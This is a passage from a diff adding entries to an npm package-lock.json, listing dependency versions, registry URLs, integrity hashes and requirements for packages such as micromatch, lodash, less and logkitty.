"https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "peer": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "peer": true, + "requires": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==", + "peer": true, + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "peer": true, + "requires": { + "is-extendable": "^0.1.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "peer": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + } + } + }, + "fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha512-VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==", + "peer": true, + "requires": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "peer": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "peer": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "peer": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==", + "peer": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "peer": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", + "peer": true + }, + "kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "peer": true + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "peer": true, + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "temp": { + "version": "0.8.4", + "resolved": "https://registry.npmjs.org/temp/-/temp-0.8.4.tgz", + "integrity": "sha512-s0ZZzd0BzYv5tLSptZooSjK8oj6C+c19p7Vqta9+6NPOf7r+fxq0cJe6/oN4LTC79sy5NY8ucOJNgwsKCSbfqg==", + "peer": true, + "requires": { + "rimraf": "~2.6.2" + } + } + } + }, + "jsesc": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-1.3.0.tgz", + "integrity": "sha1-RsP+yMGJKxKwgz25vHYiF226s0s=", + "dev": true + }, + "json-loader": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/json-loader/-/json-loader-0.5.7.tgz", + "integrity": "sha512-QLPs8Dj7lnf3e3QYS1zkCo+4ZwqOiF9d/nZnYozTISxXWCfNs9yuky5rJw4/W34s7POaNlbZmQGaB5NiXCbP4w==", + "dev": true + }, + "json-parse-better-errors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==" + }, + "json-schema": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", + "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=", + "dev": true + }, + "json-schema-traverse": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz", + "integrity": "sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A=", + "dev": true + }, + "json-stable-stringify": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-0.0.1.tgz", + "integrity": "sha1-YRwj6BTbN1Un34URk9tZ3Sryf0U=", + "dev": true, + "requires": { + "jsonify": "~0.0.0" + } + }, + "json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", + "dev": true + }, + "json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=", + "dev": true + }, + "json2php": { + "version": "0.0.4", + "resolved": "https://registry.npmjs.org/json2php/-/json2php-0.0.4.tgz", + "integrity": "sha1-a9haHdpqXdfpECK7JEA8wbfC7jQ=", + "dev": true + }, + "json5": { + "version": "0.5.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-0.5.1.tgz", + "integrity": "sha1-Hq3nrMASA0rYTiOWdn6tn6VJWCE=", + "dev": true + }, + "jsonfile": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", + "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=", + "requires": { + "graceful-fs": "^4.1.6" + } + }, + "jsonify": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.0.tgz", + "integrity": "sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=", + "dev": true + }, + "jsonparse": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz", + "integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA=", + "dev": true + }, + "JSONStream": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.3.tgz", + "integrity": "sha512-3Sp6WZZ/lXl+nTDoGpGWHEpTnnC6X5fnkolYZR6nwIfzbxxvA8utPWe1gCt7i0m9uVGsSz2IS8K8mJ7HmlduMg==", + "dev": true, + "requires": { + "jsonparse": "^1.2.0", + "through": ">=2.2.7 <3" + } + }, + "jsprim": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", + "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", + "dev": true, + "requires": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.2.3", + "verror": "1.10.0" + } + }, + "jstransformer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/jstransformer/-/jstransformer-1.0.0.tgz", + "integrity": "sha1-7Yvwkh4vPx7U1cGkT2hwntJHIsM=", + "dev": true, + "requires": { + "is-promise": "^2.0.0", + "promise": "^7.0.1" + } + }, + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "requires": { + "is-buffer": "^1.1.5" + } + }, + "kleur": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz", + "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==", + "peer": true + }, + "labeled-stream-splicer": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/labeled-stream-splicer/-/labeled-stream-splicer-2.0.1.tgz", + "integrity": "sha512-MC94mHZRvJ3LfykJlTUipBqenZz1pacOZEMhhQ8dMGcDHs0SBE5GbsavUXV7YtP3icBW17W0Zy1I0lfASmo9Pg==", + "dev": true, + "requires": { + "inherits": "^2.0.1", + "isarray": "^2.0.4", + "stream-splicer": "^2.0.0" + }, + "dependencies": { + "isarray": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.4.tgz", + "integrity": "sha512-GMxXOiUirWg1xTKRipM0Ek07rX+ubx4nNVElTJdNLYmNO/2YrDkgJGw9CljXn+r4EWiDQg/8lsRdHyg2PJuUaA==", + "dev": true + } + } + }, + "last-call-webpack-plugin": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/last-call-webpack-plugin/-/last-call-webpack-plugin-3.0.0.tgz", + "integrity": "sha512-7KI2l2GIZa9p2spzPIVZBYyNKkN+e/SQPpnjlTiPhdbDW3F86tdKKELxKpzJ5sgU19wQWsACULZmpTPYHeWO5w==", + "dev": true, + "requires": { + "lodash": "^4.17.5", + "webpack-sources": "^1.1.0" + } + }, + "lazy-cache": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-1.0.4.tgz", + "integrity": "sha1-odePw6UEdMuAhF07O24dpJpEbo4=", + "dev": true + }, + "lazystream": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz", + "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==", + "dev": true, + "requires": { + "readable-stream": "^2.0.5" + } + }, + "lcid": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", + "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", + "dev": true, + "requires": { + "invert-kv": "^1.0.0" + } + }, + "less": { + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/less/-/less-3.7.1.tgz", + "integrity": "sha512-Cmf5XJlzNklkBC8eAa+Ef16AHUBAkApHNAw3x9Vmn84h2BvGrri5Id7kf6H1n6SN74Fc0WdHIRPlFMxsl0eJkA==", + "dev": true, + "requires": { + "errno": "^0.1.1", + "graceful-fs": "^4.1.2", + "image-size": "~0.5.0", + "mime": "^1.4.1", + "mkdirp": "^0.5.0", + "promise": "^7.1.1", + "request": "^2.83.0", + "source-map": "~0.6.0" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "optional": true + } + } + }, + "less-loader": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/less-loader/-/less-loader-4.1.0.tgz", + "integrity": "sha512-KNTsgCE9tMOM70+ddxp9yyt9iHqgmSs0yTZc5XH5Wo+g80RWRIYNqE58QJKm/yMud5wZEvz50ugRDuzVIkyahg==", + "dev": true, + "requires": { + "clone": "^2.1.1", + "loader-utils": "^1.1.0", + "pify": "^3.0.0" + }, + "dependencies": { + "clone": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/clone/-/clone-2.1.1.tgz", + "integrity": "sha1-0hfR6WERjjrJpLi7oyhVU79kfNs=", + "dev": true + }, + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", + "dev": true + } + } + }, + "leven": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", + "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==" + }, + "levenary": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/levenary/-/levenary-1.1.1.tgz", + "integrity": "sha512-mkAdOIt79FD6irqjYSs4rdbnlT5vRonMEvBVPVb3XmevfS8kgRXwfes0dhPdEtzTWD/1eNE/Bm/G1iRt6DcnQQ==", + "requires": { + "leven": "^3.1.0" + } + }, + "levn": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", + "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", + "dev": true, + "requires": { + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2" + } + }, + "livereload-js": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/livereload-js/-/livereload-js-2.3.0.tgz", + "integrity": "sha512-j1R0/FeGa64Y+NmqfZhyoVRzcFlOZ8sNlKzHjh4VvLULFACZhn68XrX5DFg2FhMvSMJmROuFxRSa560ECWKBMg==", + "dev": true + }, + "load-json-file": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz", + "integrity": "sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "parse-json": "^2.2.0", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0", + "strip-bom": "^2.0.0" + } + }, + "loader-fs-cache": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/loader-fs-cache/-/loader-fs-cache-1.0.3.tgz", + "integrity": "sha512-ldcgZpjNJj71n+2Mf6yetz+c9bM4xpKtNds4LbqXzU/PTdeAX0g3ytnU1AJMEcTk2Lex4Smpe3Q/eCTsvUBxbA==", + "dev": true, + "requires": { + "find-cache-dir": "^0.1.1", + "mkdirp": "^0.5.1" + }, + "dependencies": { + "find-cache-dir": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-0.1.1.tgz", + "integrity": "sha1-yN765XyKUqinhPnjHFfHQumToLk=", + "dev": true, + "requires": { + "commondir": "^1.0.1", + "mkdirp": "^0.5.1", + "pkg-dir": "^1.0.0" + } + }, + "pkg-dir": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-1.0.0.tgz", + "integrity": "sha1-ektQio1bstYp1EcFb/TpyTFM89Q=", + "dev": true, + "requires": { + "find-up": "^1.0.0" + } + } + } + }, + "loader-runner": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.3.0.tgz", + "integrity": "sha1-9IKuqC1UPgeSFwDVpG7yb9rGuKI=", + "dev": true + }, + "loader-utils": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz", + "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", + "dev": true, + "requires": { + "big.js": "^3.1.3", + "emojis-list": "^2.0.0", + "json5": "^0.5.0" + } + }, + "locate-path": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", + "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", + "dev": true, + "requires": { + "p-locate": "^2.0.0", + "path-exists": "^3.0.0" + }, + "dependencies": { + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", + "dev": true + } + } + }, + "lodash": { + "version": "4.17.19", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.19.tgz", + "integrity": "sha512-JNvd8XER9GQX0v2qJgsaN/mzFCNA5BRe/j8JN9d+tWyGLSodKQHKFicdwNYzWwI3wjRnaKPsGj1XkBjx/F96DQ==" + }, + "lodash.camelcase": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", + "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=", + "dev": true + }, + "lodash.clonedeep": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", + "integrity": "sha512-H5ZhCF25riFd9uB5UCkVKo61m3S/xZk1x4wA6yp/L3RFP6Z/eHH1ymQcGLo7J3GMPfm0V/7m1tryHuGVxpqEBQ==", + "dev": true + }, + "lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=" + }, + "lodash.defaults": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz", + "integrity": "sha512-qjxPLHd3r5DnsdGacqOMU6pb/avJzdh9tFX2ymgoZE27BmjXrNy/y4LoaiTeAb+O3gL8AfpJGtqfX/ae2leYYQ==", + "dev": true + }, + "lodash.difference": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.difference/-/lodash.difference-4.5.0.tgz", + "integrity": "sha512-dS2j+W26TQ7taQBGN8Lbbq04ssV3emRw4NY58WErlTO29pIqS0HmoT5aJ9+TUQ1N3G+JOZSji4eugsWwGp9yPA==", + "dev": true + }, + "lodash.flatten": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz", + "integrity": "sha512-C5N2Z3DgnnKr0LOpv/hKCgKdb7ZZwafIrsesve6lmzvZIRZRGaZ/l6Q8+2W7NaT+ZwO3fFlSCzCzrDCFdJfZ4g==", + "dev": true + }, + "lodash.isobject": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/lodash.isobject/-/lodash.isobject-3.0.2.tgz", + "integrity": "sha512-3/Qptq2vr7WeJbB4KHUSKlq8Pl7ASXi3UG6CMbBm8WRtXi8+GHm7mKaU3urfpSEzWe2wCIChs6/sdocUsTKJiA==", + "dev": true + }, + "lodash.isplainobject": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", + "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==", + "dev": true + }, + "lodash.memoize": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-3.0.4.tgz", + "integrity": "sha1-LcvSwofLwKVcxCMovQxzYVDVPj8=", + "dev": true + }, + "lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true + }, + "lodash.mergewith": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.mergewith/-/lodash.mergewith-4.6.2.tgz", + "integrity": "sha512-GK3g5RPZWTRSeLSpgP8Xhra+pnjBC56q9FZYe1d5RN3TJ35dbkGy3YqBSMbyCrlbi+CM9Z3Jk5yTL7RCsqboyQ==", + "dev": true + }, + "lodash.tail": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.tail/-/lodash.tail-4.1.1.tgz", + "integrity": "sha1-0jM6NtnncXyK0vfKyv7HwytERmQ=", + "dev": true + }, + "lodash.throttle": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz", + "integrity": "sha1-wj6RtxAkKscMN/HhzaknTMOb8vQ=" + }, + "lodash.union": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz", + "integrity": "sha512-c4pB2CdGrGdjMKYLA+XiRDO7Y0PRQbm/Gzg8qMj+QH+pFVAoTp5sBpO0odL3FjoPCGjK96p6qsP+yQoiLoOBcw==", + "dev": true + }, + "lodash.uniq": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", + "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=", + "dev": true + }, + "lodash.zip": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.zip/-/lodash.zip-4.2.0.tgz", + "integrity": "sha512-C7IOaBBK/0gMORRBd8OETNx3kmOkgIWIPvyDpZSCTwUrpYmgZwJkjZeOD8ww4xbOUOs4/attY+pciKvadNfFbg==", + "dev": true + }, + "log-symbols": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz", + "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==", + "dev": true, + "requires": { + "chalk": "^2.0.1" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "requires": { + "color-name": "1.1.3" + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "logkitty": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/logkitty/-/logkitty-0.7.1.tgz", + "integrity": "sha512-/3ER20CTTbahrCrpYfPn7Xavv9diBROZpoXGVZDWMw4b/X4uuUwAC0ki85tgsdMRONURyIJbcOvS94QsUBYPbQ==", + "peer": true, + "requires": { + "ansi-fragments": "^0.2.1", + "dayjs": "^1.8.15", + "yargs": "^15.1.0" + }, + "dependencies": { + "ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "peer": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "peer": true + }, + "cliui": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz", + "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==", + "peer": true, + "requires": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^6.2.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": 